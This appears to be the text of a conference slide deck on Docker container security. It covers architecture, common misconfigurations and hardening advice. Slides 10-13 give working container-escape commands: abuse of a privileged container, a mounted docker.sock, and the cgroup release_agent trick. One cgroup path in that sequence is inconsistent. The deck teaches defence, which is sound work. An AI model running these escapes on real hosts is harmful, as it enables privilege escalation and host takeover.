Docker Decoded : From Basics to Breaches _Rakesh Seal

Docker Decoded : From Basics to Breaches by Rakesh Seal

1. Docker Decoded: Basics to Breaches Explaining Container Security with hands on demo

2. $ whoami Rakesh Seal R&D, Keysight (ATI Research) Network Security Embedded Systems (IoT) Full Stack Dev Automation Enthusiast 15+ Patent Publication Play DoTA 👾 r akeshseal0.github.io

3. Docker Who?

4. Docker Architecture

5. Core Concepts

6. Image and Container Lifecycle (Hands On)

7. Docker Networking Bridge Host Overlay macvlan

8. Docker Security Layers

9. Common Docker Misconfigs Do not expose the Docker daemon socket Limit capabilities (Grant only specific capabilities, needed by a container) Prevent in-container privilege escalation Be mindful of Inter-Container Connectivity Limit resources (memory, CPU, file descriptors, processes, restarts) Set filesystem and volumes to read-only https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html

10. Demo-1 root Access from privileged container host Privileged container attacker Setup Container docker run -it --privileged ubuntu bash Verify Privileged Access (Check host devices) l s /dev Read Kernel Messages dmesg https://www.trendmicro.com/en_in/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html

11. Demo-2 Privilege Escalation (Host Socket Mounted) Setup Container docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu bash Search for Mounted Socket find / -name docker.sock 2>/dev/null Launch privileged container with full access apt update && apt install docker.io -y docker run -it --privileged -v /:/host ubuntu bash

12. Demo-3 Docker Escape cgroup Abuse Setup Container docker run -it ubuntu bash Mount in RDMA cgroup mkdir /tmp/cgrp mount -t cgroup -o rdma cgroup /tmp/cgrp mkdir /tmp/cgrp/xx Set Child Cgroup echo 1 > /tmp/cgrp/xx/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent

13. Demo-3 Docker Escape cgroup Abuse Sh file echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd echo "echo \"Greetings from rak3sh <3 \" >> $host_path/output" >> /cmd c hmod +x cmd Add process in our sub cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" Check Output of cmd cat /output

14. Runtime Security & Regular Updates 03 AppArmor, SELinux for more defense Regular updates and patching Secure configs 02 read-only fs Avoid unnecessary mounts Least Privilege 01 Reduc capabilities non-root Docker Security Best Practices

15. References Arigatou! ( ありがとう ) https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html https://docs.docker.com/engine/security/